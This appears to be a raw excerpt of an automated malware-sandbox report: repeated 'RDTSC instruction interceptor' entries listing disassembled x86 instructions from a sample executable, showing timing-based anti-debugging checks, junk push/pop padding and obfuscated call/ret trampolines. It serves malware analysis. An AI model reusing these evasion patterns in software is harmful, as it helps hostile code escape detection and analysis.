Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	RDTSC instruction interceptor: First address: D90134 second address: D90145 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push eax 0x00000006 pushad 0x00000007 pushad 0x00000008 push eax 0x00000009 pop eax 0x0000000a pushad 0x0000000b popad 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	RDTSC instruction interceptor: First address: D8F35C second address: D8F365 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ecx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	RDTSC instruction interceptor: First address: D9202D second address: D9203F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FE580B2A1AEh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	RDTSC instruction interceptor: First address: D9203F second address: D92043 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	RDTSC instruction interceptor: First address: D92043 second address: D92051 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push edi 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	RDTSC instruction interceptor: First address: D92051 second address: D92056 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	RDTSC instruction interceptor: First address: D95700 second address: D95722 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 jmp 00007FE580B2A1ADh 0x0000000b push edx 0x0000000c pop edx 0x0000000d popad 0x0000000e popad 0x0000000f push eax 0x00000010 push eax 0x00000011 push edx 0x00000012 push edx 0x00000013 jc 00007FE580B2A1A6h 0x00000019 pop edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	RDTSC instruction interceptor: First address: D9495D second address: D9497A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE580CED989h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	RDTSC instruction interceptor: First address: D976CB second address: D976D1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	RDTSC instruction interceptor: First address: D976D1 second address: D97740 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 nop 0x00000007 push 00000000h 0x00000009 push edi 0x0000000a call 00007FE580CED978h 0x0000000f pop edi 0x00000010 mov dword ptr [esp+04h], edi 0x00000014 add dword ptr [esp+04h], 00000014h 0x0000001c inc edi 0x0000001d push edi 0x0000001e ret 0x0000001f pop edi 0x00000020 ret 0x00000021 push 00000000h 0x00000023 mov ebx, 78655997h 0x00000028 push 00000000h 0x0000002a push 00000000h 0x0000002c push edi 0x0000002d call 00007FE580CED978h 0x00000032 pop edi 0x00000033 mov dword ptr [esp+04h], edi 0x00000037 add dword ptr [esp+04h], 0000001Bh 0x0000003f inc edi 0x00000040 push edi 0x00000041 ret 0x00000042 pop edi 0x00000043 ret 0x00000044 xor dword ptr [ebp+1244AF32h], esi 0x0000004a sub edi, 3B86F124h 0x00000050 xchg eax, esi 0x00000051 jmp 00007FE580CED97Dh 0x00000056 push eax 0x00000057 push eax 0x00000058 push edx 0x00000059 pushad 0x0000005a push eax 0x0000005b push edx 0x0000005c rdtsc
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	RDTSC instruction interceptor: First address: D97740 second address: D97746 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	RDTSC instruction interceptor: First address: D97746 second address: D9774B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	RDTSC instruction interceptor: First address: D96981 second address: D96985 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	RDTSC instruction interceptor: First address: D9774B second address: D97751 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	RDTSC instruction interceptor: First address: D96985 second address: D969A2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE580B2A1B9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	RDTSC instruction interceptor: First address: D97751 second address: D97755 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	RDTSC instruction interceptor: First address: D9981C second address: D99821 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	RDTSC instruction interceptor: First address: D99821 second address: D99839 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jnp 00007FE580CED984h 0x00000010 push eax 0x00000011 push edx 0x00000012 jng 00007FE580CED976h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	RDTSC instruction interceptor: First address: D9A7C1 second address: D9A821 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ecx 0x00000007 nop 0x00000008 push 00000000h 0x0000000a push ebp 0x0000000b call 00007FE580B2A1A8h 0x00000010 pop ebp 0x00000011 mov dword ptr [esp+04h], ebp 0x00000015 add dword ptr [esp+04h], 00000014h 0x0000001d inc ebp 0x0000001e push ebp 0x0000001f ret 0x00000020 pop ebp 0x00000021 ret 0x00000022 mov di, bx 0x00000025 push 00000000h 0x00000027 push 00000000h 0x00000029 push edi 0x0000002a call 00007FE580B2A1A8h 0x0000002f pop edi 0x00000030 mov dword ptr [esp+04h], edi 0x00000034 add dword ptr [esp+04h], 0000001Bh 0x0000003c inc edi 0x0000003d push edi 0x0000003e ret 0x0000003f pop edi 0x00000040 ret 0x00000041 add ebx, dword ptr [ebp+122D2C64h] 0x00000047 push 00000000h 0x00000049 adc edi, 0119A9E4h 0x0000004f push eax 0x00000050 push edx 0x00000051 push eax 0x00000052 push edx 0x00000053 push eax 0x00000054 push edx 0x00000055 rdtsc
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	RDTSC instruction interceptor: First address: D9A821 second address: D9A825 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	RDTSC instruction interceptor: First address: D9B77B second address: D9B77F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	RDTSC instruction interceptor: First address: D9B77F second address: D9B78C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push esi 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	RDTSC instruction interceptor: First address: D9B78C second address: D9B791 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	RDTSC instruction interceptor: First address: D9C637 second address: D9C646 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE580CED97Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	RDTSC instruction interceptor: First address: D98A72 second address: D98A7C instructions: 0x00000000 rdtsc 0x00000002 je 00007FE580B2A1A6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	RDTSC instruction interceptor: First address: D9C646 second address: D9C64B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	RDTSC instruction interceptor: First address: D9791F second address: D97923 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	RDTSC instruction interceptor: First address: D9AA51 second address: D9AA58 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	RDTSC instruction interceptor: First address: D99A74 second address: D99A7E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push esi 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	RDTSC instruction interceptor: First address: D99A7E second address: D99A82 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	RDTSC instruction interceptor: First address: D9B952 second address: D9B956 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	RDTSC instruction interceptor: First address: D9B956 second address: D9B969 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE580CED97Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	RDTSC instruction interceptor: First address: D9E8E2 second address: D9E986 instructions: 0x00000000 rdtsc 0x00000002 ja 00007FE580B2A1ACh 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b jns 00007FE580B2A1BDh 0x00000011 nop 0x00000012 push 00000000h 0x00000014 push eax 0x00000015 call 00007FE580B2A1A8h 0x0000001a pop eax 0x0000001b mov dword ptr [esp+04h], eax 0x0000001f add dword ptr [esp+04h], 00000015h 0x00000027 inc eax 0x00000028 push eax 0x00000029 ret 0x0000002a pop eax 0x0000002b ret 0x0000002c adc di, C5D6h 0x00000031 push 00000000h 0x00000033 mov bx, cx 0x00000036 push 00000000h 0x00000038 push 00000000h 0x0000003a push edx 0x0000003b call 00007FE580B2A1A8h 0x00000040 pop edx 0x00000041 mov dword ptr [esp+04h], edx 0x00000045 add dword ptr [esp+04h], 00000014h 0x0000004d inc edx 0x0000004e push edx 0x0000004f ret 0x00000050 pop edx 0x00000051 ret 0x00000052 jg 00007FE580B2A1C9h 0x00000058 xchg eax, esi 0x00000059 pushad 0x0000005a pushad 0x0000005b pushad 0x0000005c popad 0x0000005d push eax 0x0000005e push edx 0x0000005f rdtsc
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	RDTSC instruction interceptor: First address: D9C7FB second address: D9C8B3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FE580CED984h 0x00000009 popad 0x0000000a mov dword ptr [esp], eax 0x0000000d push 00000000h 0x0000000f push eax 0x00000010 call 00007FE580CED978h 0x00000015 pop eax 0x00000016 mov dword ptr [esp+04h], eax 0x0000001a add dword ptr [esp+04h], 0000001Dh 0x00000022 inc eax 0x00000023 push eax 0x00000024 ret 0x00000025 pop eax 0x00000026 ret 0x00000027 mov ebx, 34216BBBh 0x0000002c mov ebx, ecx 0x0000002e and ebx, 05C3B028h 0x00000034 push dword ptr fs:[00000000h] 0x0000003b push edi 0x0000003c jmp 00007FE580CED97Fh 0x00000041 pop edi 0x00000042 push eax 0x00000043 mov dword ptr [ebp+122D3A08h], ecx 0x00000049 pop ebx 0x0000004a mov dword ptr fs:[00000000h], esp 0x00000051 mov ebx, dword ptr [ebp+122D3669h] 0x00000057 mov dword ptr [ebp+122D34B6h], edx 0x0000005d mov eax, dword ptr [ebp+122D12F9h] 0x00000063 xor dword ptr [ebp+122D3580h], ebx 0x00000069 push FFFFFFFFh 0x0000006b call 00007FE580CED982h 0x00000070 xor ebx, 27D81489h 0x00000076 pop ebx 0x00000077 mov edi, dword ptr [ebp+122D373Dh] 0x0000007d push eax 0x0000007e push esi 0x0000007f push eax 0x00000080 push edx 0x00000081 js 00007FE580CED976h 0x00000087 rdtsc
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	RDTSC instruction interceptor: First address: D9E986 second address: D9E99D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 jp 00007FE580B2A1A6h 0x0000000c push ebx 0x0000000d pop ebx 0x0000000e popad 0x0000000f popad 0x00000010 push eax 0x00000011 pushad 0x00000012 pushad 0x00000013 pushad 0x00000014 popad 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	RDTSC instruction interceptor: First address: DA5ABF second address: DA5AC3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	RDTSC instruction interceptor: First address: DA566D second address: DA5671 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	RDTSC instruction interceptor: First address: DA5671 second address: DA5677 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	RDTSC instruction interceptor: First address: DAA6D9 second address: DAA70A instructions: 0x00000000 rdtsc 0x00000002 jl 00007FE580B2A1A6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jmp 00007FE580B2A1B1h 0x0000000f popad 0x00000010 mov eax, dword ptr [eax] 0x00000012 jmp 00007FE580B2A1AAh 0x00000017 mov dword ptr [esp+04h], eax 0x0000001b push edi 0x0000001c push eax 0x0000001d push edx 0x0000001e push eax 0x0000001f push edx 0x00000020 rdtsc
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	RDTSC instruction interceptor: First address: DAA70A second address: DAA70E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	RDTSC instruction interceptor: First address: DAA70E second address: DAA712 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	RDTSC instruction interceptor: First address: DAA798 second address: DAA79C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	RDTSC instruction interceptor: First address: DAA79C second address: DAA7A2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	RDTSC instruction interceptor: First address: DAA85B second address: DAA860 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	RDTSC instruction interceptor: First address: DAC6B9 second address: DAC6BD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	RDTSC instruction interceptor: First address: DAC6BD second address: DAC6EF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop edi 0x00000009 push eax 0x0000000a push edx 0x0000000b jp 00007FE580CED97Eh 0x00000011 push edx 0x00000012 jmp 00007FE580CED985h 0x00000017 pushad 0x00000018 popad 0x00000019 pop edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	RDTSC instruction interceptor: First address: DB0F8A second address: DB0F92 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push edx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	RDTSC instruction interceptor: First address: DB16F2 second address: DB16F8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	RDTSC instruction interceptor: First address: DB16F8 second address: DB1720 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push ecx 0x00000009 push edi 0x0000000a pop edi 0x0000000b pop ecx 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007FE580B2A1B8h 0x00000013 pushad 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	RDTSC instruction interceptor: First address: DB1720 second address: DB1724 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	RDTSC instruction interceptor: First address: DB1724 second address: DB172A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	RDTSC instruction interceptor: First address: DB172A second address: DB172F instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	RDTSC instruction interceptor: First address: DB1A2C second address: DB1A32 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	RDTSC instruction interceptor: First address: DB1A32 second address: DB1A36 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	RDTSC instruction interceptor: First address: DB1B6A second address: DB1B8A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE580B2A1B7h 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push ecx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	RDTSC instruction interceptor: First address: DB5F06 second address: DB5F29 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE580CED97Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jmp 00007FE580CED981h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	RDTSC instruction interceptor: First address: DB4E25 second address: DB4E29 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	RDTSC instruction interceptor: First address: D8079E second address: D807A8 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push edi 0x00000009 pop edi 0x0000000a rdtsc
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	RDTSC instruction interceptor: First address: D80B26 second address: D80B81 instructions: 0x00000000 rdtsc 0x00000002 jg 00007FE580B2A1A8h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov eax, dword ptr [esp+04h] 0x0000000e push edi 0x0000000f pushad 0x00000010 pushad 0x00000011 popad 0x00000012 jmp 00007FE580B2A1B2h 0x00000017 popad 0x00000018 pop edi 0x00000019 mov eax, dword ptr [eax] 0x0000001b pushad 0x0000001c jmp 00007FE580B2A1ABh 0x00000021 pushad 0x00000022 je 00007FE580B2A1A6h 0x00000028 jmp 00007FE580B2A1B3h 0x0000002d popad 0x0000002e popad 0x0000002f mov dword ptr [esp+04h], eax 0x00000033 pushad 0x00000034 push eax 0x00000035 push edx 0x00000036 pushad 0x00000037 popad 0x00000038 rdtsc
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	RDTSC instruction interceptor: First address: D80B81 second address: D80BE1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push edi 0x00000008 pop edi 0x00000009 push ebx 0x0000000a pop ebx 0x0000000b popad 0x0000000c popad 0x0000000d pop eax 0x0000000e mov edx, dword ptr [ebp+122D1ED9h] 0x00000014 mov edi, dword ptr [ebp+122D2ADCh] 0x0000001a call 00007FE580CED979h 0x0000001f jmp 00007FE580CED97Ah 0x00000024 push eax 0x00000025 jne 00007FE580CED984h 0x0000002b mov eax, dword ptr [esp+04h] 0x0000002f jmp 00007FE580CED984h 0x00000034 mov eax, dword ptr [eax] 0x00000036 pushad 0x00000037 push ecx 0x00000038 push eax 0x00000039 push edx 0x0000003a rdtsc
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	RDTSC instruction interceptor: First address: D80CAC second address: D80CC8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FE580B2A1B8h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	RDTSC instruction interceptor: First address: D80CC8 second address: D80D2C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], esi 0x0000000b push 00000000h 0x0000000d push ecx 0x0000000e call 00007FE580CED978h 0x00000013 pop ecx 0x00000014 mov dword ptr [esp+04h], ecx 0x00000018 add dword ptr [esp+04h], 00000016h 0x00000020 inc ecx 0x00000021 push ecx 0x00000022 ret 0x00000023 pop ecx 0x00000024 ret 0x00000025 pushad 0x00000026 jp 00007FE580CED97Ch 0x0000002c mov dword ptr [ebp+122D2A73h], edi 0x00000032 movsx edx, di 0x00000035 popad 0x00000036 nop 0x00000037 jo 00007FE580CED989h 0x0000003d jmp 00007FE580CED983h 0x00000042 push eax 0x00000043 jbe 00007FE580CED984h 0x00000049 pushad 0x0000004a jnp 00007FE580CED976h 0x00000050 push eax 0x00000051 push edx 0x00000052 rdtsc
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	RDTSC instruction interceptor: First address: D80F32 second address: D80F37 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	RDTSC instruction interceptor: First address: D81100 second address: D81154 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 mov dword ptr [esp], eax 0x00000009 mov edx, eax 0x0000000b add edx, dword ptr [ebp+122D2D88h] 0x00000011 push 00000004h 0x00000013 push 00000000h 0x00000015 push ecx 0x00000016 call 00007FE580CED978h 0x0000001b pop ecx 0x0000001c mov dword ptr [esp+04h], ecx 0x00000020 add dword ptr [esp+04h], 00000014h 0x00000028 inc ecx 0x00000029 push ecx 0x0000002a ret 0x0000002b pop ecx 0x0000002c ret 0x0000002d mov dword ptr [ebp+122D370Fh], ecx 0x00000033 pushad 0x00000034 jne 00007FE580CED982h 0x0000003a or dword ptr [ebp+122D3537h], esi 0x00000040 popad 0x00000041 push eax 0x00000042 pushad 0x00000043 push ebx 0x00000044 push eax 0x00000045 push edx 0x00000046 rdtsc
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	RDTSC instruction interceptor: First address: D81154 second address: D81161 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 jbe 00007FE580B2A1A6h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	RDTSC instruction interceptor: First address: D81161 second address: D81165 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	RDTSC instruction interceptor: First address: D81963 second address: D819B6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE580B2A1B8h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], eax 0x0000000c jmp 00007FE580B2A1ABh 0x00000011 lea eax, dword ptr [ebp+1247C444h] 0x00000017 sub edi, dword ptr [ebp+122D2869h] 0x0000001d nop 0x0000001e jmp 00007FE580B2A1ACh 0x00000023 push eax 0x00000024 pushad 0x00000025 pushad 0x00000026 pushad 0x00000027 popad 0x00000028 pushad 0x00000029 popad 0x0000002a popad 0x0000002b push eax 0x0000002c push edx 0x0000002d ja 00007FE580B2A1A6h 0x00000033 rdtsc
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	RDTSC instruction interceptor: First address: D819B6 second address: D81A13 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 nop 0x00000008 push 00000000h 0x0000000a push eax 0x0000000b call 00007FE580CED978h 0x00000010 pop eax 0x00000011 mov dword ptr [esp+04h], eax 0x00000015 add dword ptr [esp+04h], 0000001Ah 0x0000001d inc eax 0x0000001e push eax 0x0000001f ret 0x00000020 pop eax 0x00000021 ret 0x00000022 mov cl, bh 0x00000024 or dword ptr [ebp+1247BFFEh], esi 0x0000002a mov di, B511h 0x0000002e lea eax, dword ptr [ebp+1247C400h] 0x00000034 xor cx, 723Bh 0x00000039 push eax 0x0000003a push edi 0x0000003b pushad 0x0000003c jmp 00007FE580CED987h 0x00000041 push eax 0x00000042 push edx 0x00000043 rdtsc
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	RDTSC instruction interceptor: First address: D81A13 second address: D6B969 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edi 0x00000006 mov dword ptr [esp], eax 0x00000009 push 00000000h 0x0000000b push ecx 0x0000000c call 00007FE580B2A1A8h 0x00000011 pop ecx 0x00000012 mov dword ptr [esp+04h], ecx 0x00000016 add dword ptr [esp+04h], 00000014h 0x0000001e inc ecx 0x0000001f push ecx 0x00000020 ret 0x00000021 pop ecx 0x00000022 ret 0x00000023 call dword ptr [ebp+122D3A65h] 0x00000029 jbe 00007FE580B2A1E2h 0x0000002f pushad 0x00000030 je 00007FE580B2A1A6h 0x00000036 push eax 0x00000037 push edx 0x00000038 rdtsc
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	RDTSC instruction interceptor: First address: D6B969 second address: D6B971 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	RDTSC instruction interceptor: First address: D6B971 second address: D6B97A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	RDTSC instruction interceptor: First address: D6B97A second address: D6B996 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE580CED988h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	RDTSC instruction interceptor: First address: DB5109 second address: DB5115 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007FE580B2A1ACh 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	RDTSC instruction interceptor: First address: DB525C second address: DB5260 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
